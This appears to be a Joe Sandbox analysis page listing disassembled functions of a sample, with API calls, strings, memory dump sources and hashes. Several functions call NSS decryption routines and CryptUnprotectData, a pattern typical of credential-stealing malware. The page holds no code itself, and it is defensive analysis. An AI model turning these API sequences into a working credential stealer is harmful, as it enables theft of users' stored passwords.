Instruction Fuzzy Hash: C491AD71B047058FE714DF2DC59072AB7E5EB8A314F14892EE59A87FA1E730E844CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD05E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD05EDB
memset.VCRUNTIME140(6CD47765,000000E5,55CCCCCC), ref: 6CD05F27
LeaveCriticalSection.KERNEL32(?), ref: 6CD05FB2
memset.VCRUNTIME140(6CD47765,000000E5,D6C09015), ref: 6CD061F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CD07652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CD072F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CD07BCD, 6CD07C1F, 6CD07C34, 6CD080FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CD072E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CD0730D
MOZ_CRASH(), xrefs: 6CD07BA4

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 8205a40bb5925613603d59969d002c9694a7bb12cbb137aefbc6865bea6c2d0a
Instruction ID: 4fc0be7110f4333c5dbae2aea9419d06f0ef63351cb4e86b95bc077e66b7bcb8
Opcode Fuzzy Hash: 8205a40bb5925613603d59969d002c9694a7bb12cbb137aefbc6865bea6c2d0a
Instruction Fuzzy Hash: 6A335971705601CFD304CF2DC590619BBE2BF85328B2AC6ADE9698F7A5D771E882CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF90 Relevance: 16.6, APIs: 11, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040BFC3
lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,02F84770), ref: 0040BFE1
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040BFEC
PK11_GetInternalKeySlot.NSS3 ref: 0040BFFA
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C015
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C05B
memcpy.MSVCRT ref: 0040C082
lstrcat.KERNEL32(?,0041D726), ref: 0040C0B3
lstrcat.KERNEL32(?,0041D727), ref: 0040C0C7
PK11_FreeSlot.NSS3(?), ref: 0040C0D1
lstrcat.KERNEL32(?,0041D72A), ref: 0040C0E8

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 3428224297-0
Opcode ID: 52605990ea01bca17d675fac138a1e19a7de02da9981d5b01ff6e8c7352eb267
Instruction ID: c615a08a89d19efff62b5a0e6981dcd2a682f0599fa2db432923c9597831d409
Opcode Fuzzy Hash: 52605990ea01bca17d675fac138a1e19a7de02da9981d5b01ff6e8c7352eb267
Instruction Fuzzy Hash: 22417E75D0420ADBDB20CF90DD88BEEBBB9BB48340F1041A9E605A72C0DB745A84CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6CD44EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CD44EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD44F2E
moz_xmalloc.MOZGLUE ref: 6CD44F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CD44F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD452B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD452E6
Sleep.KERNEL32(00000010), ref: 6CD45481
free.MOZGLUE(?), ref: 6CD45498

Strings

(, xrefs: 6CD45250

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 58e65dcc5973b3d442484956f4b99d98b1924172f5ea6c8211dcb807a346950f
Instruction ID: 655a31ea245d1985e05e74b203c8a736a34be5446bade17094b71e55272febbe
Opcode Fuzzy Hash: 58e65dcc5973b3d442484956f4b99d98b1924172f5ea6c8211dcb807a346950f
Instruction Fuzzy Hash: 5AF1D171A18B008FD716CF39C85062BB7FAAFD6384F05872EF946A7650EB319841CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040D540 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,0041D746), ref: 0040D58E
StrCmpCA.SHLWAPI(?,0041DC28), ref: 0040D5DE
StrCmpCA.SHLWAPI(?,0041DC2C), ref: 0040D5F4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040DB0A
FindClose.KERNEL32(000000FF), ref: 0040DB1C

Strings

[@, xrefs: 0040D562, 0040DB2A, 0040D623, 0040D5A5, 0040D626
\*.*, xrefs: 0040D556

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: [@$\*.*
API String ID: 2325840235-1445036518
Opcode ID: 6aebbd8edf4c395e43a8ce7fd8b76c0c694a99036f8c780f1726042e98f4bd83
Instruction ID: 5086e1dd9f189559ddbff5738d7534b81ef4efc7c2da90a7a59429af0ff5c2f4
Opcode Fuzzy Hash: 6aebbd8edf4c395e43a8ce7fd8b76c0c694a99036f8c780f1726042e98f4bd83
Instruction Fuzzy Hash: 27F1E3759142189ACB15FB61DC91EDE7739AF54304F8142DFA40A62091EF34AFC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 6CD09E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CD09EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CD09F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CD09F34
LeaveCriticalSection.KERNEL32(?), ref: 6CD0A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CD0A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CD0A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CD0A8B1, 6CD0A8D4, 6CD0A8EF

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 33075a449946dc5e2e96412480c6468391e08e34b433f08933b3ee8fab4bbda3
Instruction ID: c98f8711dd31509316e30519673492c1deaec00278e74734a3abf4807b2ce429
Opcode Fuzzy Hash: 33075a449946dc5e2e96412480c6468391e08e34b433f08933b3ee8fab4bbda3
Instruction Fuzzy Hash: D67249B2A15611CFD304CF2DC540615FBE1BF89328F2AC66DE8A99B7A1D375E841CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6CD32C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CD32C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CD32C61

Part of subcall function 6CCE4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CCE4E5A
Part of subcall function 6CCE4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CCE4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CD32C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CD32E2D

Part of subcall function 6CCF81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CCF81DE

Strings

(root), xrefs: 6CD3354F
ProfileBuffer parse error: %s, xrefs: 6CD32E3B
expected a Time entry, xrefs: 6CD32E36

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: c4e1d7820b4994e1a538b5dad67e518464e29f66b2c569f5eb27221acf0cb2f9
Instruction ID: 9ed1fa5af965f696985088cb514503f9f53f26db1ca484c48e398867c515f8be
Opcode Fuzzy Hash: c4e1d7820b4994e1a538b5dad67e518464e29f66b2c569f5eb27221acf0cb2f9
Instruction Fuzzy Hash: A791E3B0A087408FD714DF28D48469FF7E0AFCA358F10591DE59A87761EB30D549CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CCED4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6CCEDE7F
1, xrefs: 6CCEDBDD
0, xrefs: 6CCED852
0, xrefs: 6CCEDC7F
-, xrefs: 6CCED7DD
@, xrefs: 6CCEDAF6
8, xrefs: 6CCEDC08
, xrefs: 6CCEDA88

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: d080391af7fcdec84f349e0bb187b7e654508ea53bcd84da4785e8c6fe41b8fd
Instruction ID: 69783a2091654876f6e5e820ed753064b2cc316b1c080f0f4e1bab1adf199a77
Opcode Fuzzy Hash: d080391af7fcdec84f349e0bb187b7e654508ea53bcd84da4785e8c6fe41b8fd
Instruction Fuzzy Hash: C762CB7160D3818FD711CF29C49036ABBE2AFCB358F184A4DE4E54BA91E3359985CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CCEC1CB
__aulldiv.LIBCMT ref: 6CCEC24C
__aulldiv.LIBCMT ref: 6CCEC348
__aullrem.LIBCMT ref: 6CCEC365
__aulldiv.LIBCMT ref: 6CCEC37D

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 2cebaedb484c70a188821eb52c692e0a9214679e0f142bd851be08a105b5fc83
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: FE321532B146118FC718DE2CC891A56BBE6AFCA310F09867DE895CB395E734ED05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00417B4E Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00418E46
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00418E5B
UnhandledExceptionFilter.KERNEL32(0041C690), ref: 00418E66
GetCurrentProcess.KERNEL32(C0000409), ref: 00418E82
TerminateProcess.KERNEL32(00000000), ref: 00418E89

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1485600a89bc27f1a0a21c1cb01dd845070ad6051d0655c0ebfcb599f372d5e6
Instruction ID: 5828a94612e18b022276c58097a982c86e574ee0b254963d5fd3238681fe770b
Opcode Fuzzy Hash: 1485600a89bc27f1a0a21c1cb01dd845070ad6051d0655c0ebfcb599f372d5e6
Instruction Fuzzy Hash: 2D21C274A01304EFC721EF54F944B843BB4FB8C309F91907AE64987260E7B456868F9D

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660), ref: 00406C1D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406C24
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00406C51
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,`v@,80000001,h0A), ref: 00406C74
LocalFree.KERNEL32(?,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406C7E

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 325183e0ff294f6bc8ca0bae0d01f1e1eb9720b9252a7c44d145ca839e0966ea
Instruction ID: a62b9dfe9577ca48fe2f29d604933a8f18b811f44e231435f7e1fa1bbfb2df61
Opcode Fuzzy Hash: 325183e0ff294f6bc8ca0bae0d01f1e1eb9720b9252a7c44d145ca839e0966ea
Instruction Fuzzy Hash: 01011275A40708BBEB20DF94CD45F9E7779EB44B05F104155F706FB2C0D670AA118BA9

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CD58A4B

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 48a02bdea9ace6aaa41545c9508b98a223320d87c91bd6389882013b1a96f274
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 3CB1E872E0121ACFDF14CF68CC907A9B7B2EF85314F5402A9C589DB7A5E7309996CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CD588F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CD5925C

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: d1937fc694b30666c1407d4514d65adb38fa9f1d128ab83e303ef04809dff7f4
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: F5B1C572E4120ACFDF14CF58CC816ADB7B2EF85314F540269C949DB795D730A99ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 004094A0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 004094CF
LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 0040950A
LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: eb8266b658b0a36e64dba83ee5fc04eec02a97dd996390432438c79c58cdc735
Instruction ID: 8ba321113e6e4d0cf3898c04bf9160a1f44f8cb9f34d86efd4b3c4bff5612467
Opcode Fuzzy Hash: eb8266b658b0a36e64dba83ee5fc04eec02a97dd996390432438c79c58cdc735
Instruction Fuzzy Hash: AA119074240308AFEB14CF64CC95FAA77B6FB89711F208059FA159B3D0C7B5AA41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00414450 Relevance: 6.0, APIs: 4, Instructions: 34memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,0041D748,00000000,?,00000000,0041D2B1), ref: 0041445D
HeapAlloc.KERNEL32(00000000), ref: 00414464
GetLocalTime.KERNEL32(?), ref: 00414471
wsprintfA.USER32 ref: 004144A0

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: ecd3a08835dc28e24e172d3ec6c3ea9534f2ed94b9f2de78f98134f4a4fefc06
Instruction ID: 4df586b6dc15b0ab72eaa90ec8b013cc5aca6a98c8dd6c86bd1e3c66c74c2495
Opcode Fuzzy Hash: ecd3a08835dc28e24e172d3ec6c3ea9534f2ed94b9f2de78f98134f4a4fefc06
Instruction Fuzzy Hash: 1FF06DB6804618ABCB20DBD9DD48DBFB3FDBF4CB02F000549FA46A2180E6384A41D7B1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD26CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CD26D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD26E1E

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba80bd1af26f218d4a3bd1b5613598a4ee36644c5acaba721a1c099c88222f8b
Instruction ID: 7999d793bf09942075dcfb875459b0dde19ea753480ce0bf3f6d79be2c4fc6dc
Opcode Fuzzy Hash: ba80bd1af26f218d4a3bd1b5613598a4ee36644c5acaba721a1c099c88222f8b
Instruction Fuzzy Hash: E7A18F70618380DFDB25CF24C4847AEBBE1BF89308F45495DE98A87761DB74E849CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD04640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CD04777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CD05585, 6CD055A8, 6CD055C3, 6CD05624

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

